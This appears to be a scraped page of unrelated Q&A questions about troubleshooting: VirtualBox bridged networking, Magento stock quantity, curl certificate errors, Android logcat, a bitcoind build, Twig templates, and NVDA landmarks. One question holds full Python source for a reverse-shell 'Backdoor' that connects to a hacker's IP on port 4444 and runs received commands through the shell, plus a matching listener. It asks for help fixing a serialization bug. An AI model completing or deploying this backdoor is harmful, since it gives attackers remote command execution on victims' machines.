linux – Guest OS unable to connect to the internet

I am using VirtualBox to run a guest Debian, and used the bridged network to connect to the internet.
I was initially able to access the internet,but after I changed my network it stopped working.

Is the issue something related to setting up the static ip address?

Host Ip details
Windows IP Configuration


   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::59d0:6230:bd50:ad90%5
   IPv4 Address. . . . . . . . . . . : 192.168.0.104
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.0.1

Ethernet adapter VirtualBox Host-Only Network:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::1cb3:70c0:ef8f:6805%7
   IPv4 Address. . . . . . . . . . . : 192.168.56.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

debian etc/network/interface

auto lo
iface lo inet loopback
auto enp0s3
iface enp0s3 inet static
address 192.168.0.102
netmask 255.255.255.0
gateway 192.168.0.1

magento2.4 – Unable to save qty in magento 2.4.2

I am creating product programmatically. Following is the code

enter code here
 $product = $objectManager->create('MagentoCatalogModelProduct');

 try {
  $product->setName('Test Product');
  $product->setTypeId('simple');
  $product->setAttributeSetId(4);
  $product->setSku('test-SKU');
  $product->setWebsiteIds(array(1));
  $product->setVisibility(4);
  $product->setPrice(array(1));
  $product->setImage('/testimg/test.jpg');
  $product->setSmallImage('/testimg/test.jpg');
  $product->setThumbnail('/testimg/test.jpg');
  $product->setStockData(array(
        'use_config_manage_stock' => 0,
        'manage_stock' => 1,
        'min_sale_qty' => 1,
        'max_sale_qty' => 2,
        'is_in_stock' => 1,
        'qty' => 100
    )
);

$product->save();

I have also used “setQuantityAndStockStatus” but qty is not saved.

python – Unable to get required output in Backdoor and Listener with Remote Code Execution functionality

I am trying to code a Backdoor and for it, a Listener that can be used to remotely execute commands on a Compromised Machine. But I am unable to get the code right in Python 3.

There are 2 codes in the entire setup, the first one is the Listener code on the Listener’s machine while the second one is the code on the Compromised machine.

Thank you for the responses. Any other suggestions are truly welcomed and I’m thankful for them same.

THE LISTENER’S CODE:

import socket
import json


class Listener:
    def __init__(self, ip_hacker, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
        listener.bind((ip_hacker, port))
        listener.listen(0)  
        print("(..)Waiting for incoming connections..,")
        self.connection, address = listener.accept()
        print("(+)(+)Connection Accepted from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data).encode('utf-8')
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + (self.connection.recv(1024)).decode()
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)
        if command(0) == "exit":
            self.connection.close()
            exit()

        return self.reliable_receive()

    def run(self):
        while True:
            command = input(">>> ")
            command = command.split(" ")
            result = self.execute_remotely(command)
            print(result)


my_listener = Listener('10.10.10.10', 4444) 
my_listener.run()

THE CODE ON THE COMPROMISED MACHINE:


import socket
import subprocess
import json


class Backdoor:
    def __init__(self, ip_hacker, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip_hacker, port))

    def reliable_send(self, data):
        json_data = json.dumps(data).encode('utf-8')
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + (self.connection.recv(1024)).decode('utf-8')
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.reliable_receive()
            if command(0) == "exit":
                self.connection.close()
                exit()
            command_result = self.execute_system_command(command)
            self.reliable_send(command_result)

my_backdoor = Backdoor("12.12.12.12", 4444)
# (ip address of the compromised machine, port from which communication happens) 
my_backdoor.run()```

> The error I get on the Compromised Machine(here Win10) when I send a cmd dir from the Listener/Executor (here Kali-Linux)-
> Traceback (most recent call last):
  File "D:EVIL FILESreverse_backdoor_Class.py", line 41, in <module>
    my_backdoor.run()
  File "D:EVIL FILESreverse_backdoor_Class.py", line 37, in run
    self.reliable_send(command_result)
  File "D:EVIL FILESreverse_backdoor_Class.py", line 14, in reliable_send
    json_data = json.dumps(data).encode('utf-8')
  File "C:Python39libjson__init__.py", line 231, in dumps
    return _default_encoder.encode(obj)
  File "C:Python39libjsonencoder.py", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File "C:Python39libjsonencoder.py", line 257, in iterencode
    return _iterencode(o, 0)
  File "C:Python39libjsonencoder.py", line 179, in default
    raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable.
Process finished with exit code 1. 
> May be worth noting that I'm using PyCharm for both the Listener and the other code, for this is still in its test stages.

    enter code here

debian – Curl SSL Certificate: unable to get local issuer certificate

when using curl in verbose mode, I get this error:
Command:

$ curl -vvI https://www.google.com

Error:

  • successfully set certificate verify locations:
  • CAfile: none
    CApath: /etc/ssl/certs
  • TLSv1.3 (OUT), TLS handshake, Client hello (1):
  • TLSv1.3 (IN), TLS handshake, Server hello (2):
  • TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
  • TLSv1.3 (IN), TLS handshake, Certificate (11):
  • TLSv1.3 (OUT), TLS alert, unknown CA (560):
  • SSL certificate problem: unable to get local issuer certificate
  • Closing connection 0

But if I send the same command with sudo, the connection is setup successfully, so I guess it’s a permission issue.

This is what I get with namei command:

$ namei -mo /etc/ssl/certs/ca-certificates.crt

f: /etc/ssl/certs/ca-certificates.crt
drwxr-xr-x root root /
drwxr-xr-x root root etc
drwxr-xr-x root root ssl
drw-r--r-- root root certs
                     ca-certificates.crt - Permission denied

So I issued this command:

$ sudo chmod 755 /etc/ssl/certs/ca-certificates.crt

That was executed without errors, but the output of namei command is the same.

errors – Unable to edit with Elementor


Your privacy


By clicking “Accept all cookies”, you agree Stack Exchange can store cookies on your device and disclose information in accordance with our Cookie Policy.




system – logcat: E QC-QMI : qmi_client [378]: unable to connect to server, errno=[13:Permission denied]

On my Fairphone-2 with Android 9 I had a look into logcat because it is generally unstable since the upgrade to 9 and sometimes gets hot and drains battery like hell. Today I saw this:

378   395 E QC-QMI  : qmi_client (378): unable to connect to server, errno=(13:Permission denied), attempt=60
395   395 W thermal-engine: type=1400 audit(0.0:1056): avc: denied { dac_override } for capability=1 scontext=u:r:thermal-engine:s0 tcontext=u:r:thermal-engine:s0 tclass=capability permissive=0    378   395 E QC-QMI  : qmi_client (378): unable to connect to server after 60 tries... giving up
378   395 E QC-QMI  : qmi_qmux_if_pwr_up_init_ex:  Initialization failed, rc = -1
378   395 E QMI_FW  : QMUXD: WARNING qmi_qmux_if_pwr_up_init failed! rc=-1

The first type of message comes in every second for 1 minute, then the fail is reported, then it starts over.

Any hints appreciated about:

  1. what is qmi_client, possibly WIFI?
  2. which permission could that be, some device or a network endpoint?
  3. which server could that be or is this just any server requested by some app?
  4. can this be somehow related to that thermal-engine, the message of which consistently comes along each time and 378 is actually the PID of the thermal-engine. What is it and why would it want to connect anywhere?

Unable to enter WordPress installation page

When trying to access the initial WordPress installation URL at "http://ip/wordpress" instead of the installation page a "wordpress" directory with files is shown.

How to access the install page?

mac – unable to install bitcoind (macOS)

I’ve been trying to install bitcoind on a new mac (Big Sur 11.4). I followed the instructions in doc/build-osx.md and installed all required dependencies, but when I try to run make, it gives me the following error:

Making all in src
  CXX      bitcoind-bitcoind.o
clang: warning: argument unused during compilation: '-fstack-clash-protection' (-Wunused-command-line-argument)
In file included from bitcoind.cpp:14:
In file included from ./interfaces/chain.h:8:
./optional.h:10:10: fatal error: 'boost/optional.hpp' file not found
#include <boost/optional.hpp>
         ^~~~~~~~~~~~~~~~~~~~
1 error generated.
make(2): *** (bitcoind-bitcoind.o) Error 1
make(1): *** (all-recursive) Error 1
make: *** (all-recursive) Error 1

Any idea how to fix this?

Edit:
If I run brew install boost, it tells me it’s already installed, but typing ‘which boost’ gives ‘boost not found’.

theming – Unable to check if variable is empty in views twig

I am trying to overwrite views-view-unformatted.html.twig file and want to check if title variable is empty or not, but whatever I do, it always acts just like it is not empty.

I know title variable is an object, I tried dpm() it but no modifiers work in checking if it is empty.

My code:

{#
/**
 * @file
 * Default theme implementation to display a view of unformatted rows.
 *
 * Available variables:
 * - title: The title of this group of rows. May be empty.
 * - rows: A list of the view's row items.
 *   - attributes: The row's HTML attributes.
 *   - content: The row's content.
 * - view: The view object.
 * - default_row_class: A flag indicating whether default classes should be
 *   used on rows.
 *
 * @see template_preprocess_views_view_unformatted()
 *
 * @ingroup themeable
 */
#}
{{ dpm(title) }}
{% if title|render|trim|length is not empty %}

{% set row_id = 1 %}

{% for key, row in rows %}
    {% set row_id = key+1 %}
{% endfor %}
<a data-toggle="collapse" href="#collapse-{{ row_id }}" role="button" aria-expanded="false" aria-controls="collapse-{{ row_id }}">
  <h3>{{ title }}</h3>
</a>
<div class="collapse" id="collapse-{{ row_id }}">
{% endif %}
{% for row in rows %}
  {%
    set row_classes = (
      default_row_class ? 'views-row views-row-' ~ loop.index
    )
  %}
  <div{{ row.attributes.addClass(row_classes) }}>
    {{- row.content -}}
  </div>
{% endfor %}
{% if title|render|trim|length is not empty %}
</div>
{% endif %}

accessibility – NVDA unable to review landmarks on a webpage

I have to fix up a website to make it more accessible. Someone said my webpage is missing the main landmark. To confirm this, he said to download NVDA software, open up the NVDA software, then navigate to my website, then press Insert F7 to open up the Elements List which should look like this:

enter image description here

But when I press Insert F7, my browser gives me this pop up instead:

enter image description here

Does anyone know how to use NVDA to open up elements list to reveal my landmarks?